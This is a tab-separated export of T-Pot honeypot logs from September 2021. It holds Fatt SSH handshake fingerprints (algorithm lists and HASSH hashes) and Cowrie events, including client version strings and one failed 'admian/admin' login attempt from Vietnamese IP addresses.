21710	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:06:50.251581+03	2021-09-20 14:15:04.005612+03	{"_id": "BwbjAnwBvYTbRNuEHgNq", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.98.160.162", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 46072, "timestamp": "2021-09-20T11:06:50.251581", "@timestamp": "2021-09-20T11:06:50.251Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
21711	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:06:50.472176+03	2021-09-20 14:15:04.006613+03	{"_id": "CAbjAnwBvYTbRNuEHgNq", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "115.72.130.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 43582, "timestamp": "2021-09-20T11:06:50.472176", "@timestamp": "2021-09-20T11:06:50.472Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
21725	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:51.292018+03	2021-09-20 14:15:04.023613+03	{"_id": "MwbjAnwBvYTbRNuEIgNS", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "aa6caafc3c9b", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:06:51.292018Z", "@timestamp": "2021-09-20T11:06:51.292Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
21712	116.98.160.162	109.199.241.180	Fatt	2021-09-20 14:06:50.554158+03	2021-09-20 14:15:04.007613+03	{"_id": "CQbjAnwBvYTbRNuEHgNq", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 46072, "dest_port": 22, "timestamp": "2021-09-20T11:06:50.554158", "@timestamp": "2021-09-20T11:06:50.554Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
21713	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:06:50.659527+03	2021-09-20 14:15:04.008614+03	{"_id": "CgbjAnwBvYTbRNuEHgNq", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.110.220.49", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 34752, "timestamp": "2021-09-20T11:06:50.659527", "@timestamp": "2021-09-20T11:06:50.659Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
21714	115.72.130.93	109.199.241.180	Fatt	2021-09-20 14:06:50.687393+03	2021-09-20 14:15:04.009612+03	{"_id": "CwbjAnwBvYTbRNuEHgNq", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "115.72.130.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 43582, "dest_port": 22, "timestamp": "2021-09-20T11:06:50.687393", "@timestamp": "2021-09-20T11:06:50.687Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
21715	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:06:50.699507+03	2021-09-20 14:15:04.011612+03	{"_id": "DAbjAnwBvYTbRNuEHgNq", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "27.69.246.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 39932, "timestamp": "2021-09-20T11:06:50.699507", "@timestamp": "2021-09-20T11:06:50.699Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
21815	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:30.069946+03	2021-09-20 14:15:04.139613+03	{"_id": "GwXiAnwBvYTbRNuEy__U", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 3 seconds", "session": "7b9f95ac7c28", "@version": "1", "duration": 3.1795148849487305, "timestamp": "2021-09-20T11:06:30.069946Z", "@timestamp": "2021-09-20T11:06:30.069Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
21716	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:06:50.867574+03	2021-09-20 14:15:04.012612+03	{"_id": "DQbjAnwBvYTbRNuEHgNq", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "27.69.246.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 54262, "timestamp": "2021-09-20T11:06:50.867574", "@timestamp": "2021-09-20T11:06:50.867Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
21717	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:06:50.905842+03	2021-09-20 14:15:04.013613+03	{"_id": "DgbjAnwBvYTbRNuEHgNq", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.105.211.46", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 52836, "timestamp": "2021-09-20T11:06:50.905842", "@timestamp": "2021-09-20T11:06:50.905Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
21718	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:50.182241+03	2021-09-20 14:15:04.014613+03	{"_id": "DwbjAnwBvYTbRNuEHgNq", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.login.failed", "message": "login attempt [admian/admin] failed", "session": "ffa4915667c0", "@version": "1", "password": "admin", "username": "admian", "timestamp": "2021-09-20T11:06:50.182241Z", "@timestamp": "2021-09-20T11:06:50.182Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
21719	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:50.447453+03	2021-09-20 14:15:04.016612+03	{"_id": "EAbjAnwBvYTbRNuEHgNq", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "23fff7ddc752", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:06:50.447453Z", "@timestamp": "2021-09-20T11:06:50.447Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
